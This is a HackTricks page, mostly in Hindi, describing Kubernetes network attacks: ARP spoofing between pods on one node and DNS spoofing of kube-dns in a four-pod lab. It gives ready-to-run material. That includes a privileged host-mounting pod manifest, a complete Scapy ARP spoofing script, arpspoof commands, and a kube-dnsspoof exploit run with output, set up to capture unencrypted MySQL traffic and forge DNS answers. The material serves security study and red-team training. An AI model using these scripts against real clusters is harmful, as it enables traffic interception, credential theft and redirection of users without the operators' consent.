Kubernetes Network Attacks

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Introduction

Kubernetes में, यह देखा गया है कि एक डिफ़ॉल्ट व्यवहार सभी कंटेनरों के बीच कनेक्शन स्थापित करने की अनुमति देता है जो एक ही नोड पर स्थित हैं। यह नामस्थान भिन्नताओं की परवाह किए बिना लागू होता है। इस प्रकार की कनेक्टिविटी लेयर 2 (ईथरनेट) तक फैली हुई है। नतीजतन, यह कॉन्फ़िगरेशन प्रणाली को कमजोरियों के लिए संभावित रूप से उजागर करता है। विशेष रूप से, यह एक दुष्ट कंटेनर के लिए एक ARP स्पूफिंग हमले को अन्य कंटेनरों के खिलाफ निष्पादित करने की संभावना खोलता है जो उसी नोड पर स्थित हैं। ऐसे हमले के दौरान, दुष्ट कंटेनर धोखे से अन्य कंटेनरों के लिए निर्धारित नेटवर्क ट्रैफ़िक को इंटरसेप्ट या संशोधित कर सकता है।

ARP स्पूफिंग हमलों में हमलावर द्वारा स्थानीय क्षेत्र नेटवर्क पर गलत ARP (एड्रेस रिज़ॉल्यूशन प्रोटोकॉल) संदेश भेजना शामिल है। इसके परिणामस्वरूप हमलावर के MAC पते को नेटवर्क पर एक वैध कंप्यूटर या सर्वर के IP पते के साथ जोड़ा जाता है। ऐसे हमले के सफल निष्पादन के बाद, हमलावर डेटा को इंटरसेप्ट, संशोधित या यहां तक कि ट्रांजिट में रोक सकता है। यह हमला OSI मॉडल की लेयर 2 पर निष्पादित किया जाता है, यही कारण है कि Kubernetes में इस स्तर पर डिफ़ॉल्ट कनेक्टिविटी सुरक्षा चिंताओं को उठाती है।

परिदृश्य में 4 मशीनें बनाई जाने वाली हैं:

ubuntu-pe: नोड पर भागने और मेट्रिक्स की जांच करने के लिए विशेषाधिकार प्राप्त मशीन (हमले के लिए आवश्यक नहीं)
ubuntu-attack: दुष्ट कंटेनर डिफ़ॉल्ट नामस्थान में
ubuntu-victim: शिकार मशीन kube-system नामस्थान में
mysql: शिकार मशीन डिफ़ॉल्ट नामस्थान में

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -

kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Basic Kubernetes Networking

यदि आप यहां प्रस्तुत नेटवर्किंग विषयों के बारे में अधिक विवरण चाहते हैं, तो संदर्भों पर जाएं।

ARP

सामान्यत: नोड के अंदर पॉड-से-पॉड नेटवर्किंग एक ब्रिज के माध्यम से उपलब्ध है जो सभी पॉड्स को जोड़ता है। इस ब्रिज को “cbr0” कहा जाता है। (कुछ नेटवर्क प्लगइन्स अपनी खुद की ब्रिज स्थापित करेंगे।) cbr0 ARP (एड्रेस रिज़ॉल्यूशन प्रोटोकॉल) समाधान को भी संभाल सकता है। जब एक इनकमिंग पैकेट cbr0 पर आता है, तो यह ARP का उपयोग करके गंतव्य MAC पते को हल कर सकता है।

यह तथ्य यह संकेत करता है कि, डिफ़ॉल्ट रूप से, एक ही नोड में चलने वाला हर पॉड किसी अन्य पॉड के साथ संवाद करने में सक्षम होगा (नेमस्पेस की परवाह किए बिना) एथरनेट स्तर (लेयर 2) पर।

इसलिए, एक ही नोड में पॉड्स के बीच ARP Spoofing हमले करना संभव है।

DNS

कुबेरनेट्स वातावरण में आप आमतौर पर 1 (या अधिक) DNS सेवाएं चलती हुई पाएंगे जो आमतौर पर kube-system नेमस्पेस में होती हैं:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

पिछली जानकारी में आप कुछ दिलचस्प देख सकते हैं, सेवा का IP 10.96.0.10 है लेकिन सेवा चला रहे पोड का IP 172.17.0.2 है।

यदि आप किसी भी पोड के अंदर DNS पते की जांच करते हैं, तो आप कुछ ऐसा पाएंगे:

cat /etc/resolv.conf
nameserver 10.96.0.10

हालांकि, पॉड को उस पता तक पहुँचने का तरीका नहीं पता है क्योंकि इस मामले में पॉड रेंज 172.17.0.10/26 है।

इसलिए, पॉड DNS अनुरोधों को 10.96.0.10 के पते पर भेजेगा, जिसे cbr0 द्वारा 172.17.0.2 में अनुवादित किया जाएगा।

इसका मतलब है कि एक पॉड का DNS अनुरोध हमेशा ब्रिज की ओर जाएगा सेवा IP को अंत बिंदु IP में अनुवादित करने के लिए, भले ही DNS सर्वर पॉड के समान उपनेटवर्क में हो।

यह जानकर, और यह जानकर कि ARP हमले संभव हैं, एक पॉड एक नोड में उपनेटवर्क में प्रत्येक पॉड और ब्रिज के बीच ट्रैफ़िक को इंटरसेप्ट करने में सक्षम होगा और DNS सर्वर से DNS प्रतिक्रियाओं को संशोधित करेगा (DNS Spoofing).

इसके अलावा, यदि DNS सर्वर हमलावर के समान नोड में है, तो हमलावर क्लस्टर में किसी भी पॉड के सभी DNS अनुरोधों को (DNS सर्वर और ब्रिज के बीच) इंटरसेप्ट कर सकता है और प्रतिक्रियाओं को संशोधित कर सकता है।

समान नोड में पॉड्स में ARP Spoofing

हमारा लक्ष्य है कि कम से कम ubuntu-victim से mysql तक की संचार चोरी करें।

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance

arp_spoof.py

#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

जैसा कि पहले ही उल्लेख किया गया है, यदि आप DNS सर्वर पॉड के उसी नोड में एक पॉड को समझौता करते हैं, तो आप MitM के साथ ARPSpoofing का उपयोग करके ब्रिज और DNS पॉड को संशोधित कर सकते हैं और सभी DNS प्रतिक्रियाओं को बदल सकते हैं।

आपके पास इसे परीक्षण करने के लिए एक बहुत अच्छा टूल और ट्यूटोरियल है https://github.com/danielsagi/kube-dnsspoof/

हमारे परिदृश्य में, हमलावर पॉड में टूल डाउनलोड करें और एक **फाइल नाम hosts ** बनाएं जिसमें आप जिन डोमेन को स्पूफ करना चाहते हैं, वे शामिल हों:

cat hosts
google.com. 1.1.1.1

ubuntu-victim मशीन पर हमला करें:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop

#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

यदि आप अपना खुद का DNS स्पूफिंग स्क्रिप्ट बनाने की कोशिश करते हैं, यदि आप बस DNS प्रतिक्रिया को संशोधित करते हैं तो यह काम नहीं करेगा, क्योंकि प्रतिक्रिया में src IP दुष्ट पॉड का IP पता होगा और इसे स्वीकृत नहीं किया जाएगा। आपको उस DNS का नया DNS पैकेट उत्पन्न करने की आवश्यकता है जहाँ पीड़ित DNS अनुरोध भेजता है (जो कुछ ऐसा है जैसे 172.16.0.2, न कि 10.96.0.10, यह K8s DNS सेवा IP है और न कि DNS सर्वर IP, इसके बारे में अधिक जानकारी परिचय में है)।

ट्रैफ़िक कैप्चर करना

उपकरण Mizu एक सरल लेकिन शक्तिशाली API ट्रैफ़िक व्यूअर है जो Kubernetes के लिए आपको सूक्ष्म सेवाओं के बीच सभी API संचार देखने में सक्षम बनाता है ताकि आप अपने डिबग और समस्या निवारण में मदद कर सकें। यह चयनित पॉड में एजेंट स्थापित करेगा और उनके ट्रैफ़िक की जानकारी एकत्र करेगा और आपको एक वेब सर्वर में दिखाएगा। हालाँकि, इसके लिए आपको उच्च K8s अनुमतियों की आवश्यकता होगी (और यह बहुत छिपा हुआ नहीं है)।

संदर्भ

HackTricks का समर्थन करें

सदस्यता योजनाएँ देखें!
💬 Discord समूह या टेलीग्राम समूह में शामिल हों या Twitter पर हमें फॉलो करें 🐦 @hacktricks_live.**
हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PR सबमिट करें।

PreviousKubernetes Pivoting to Clouds NextKubernetes Hardening

Last updated 1 month ago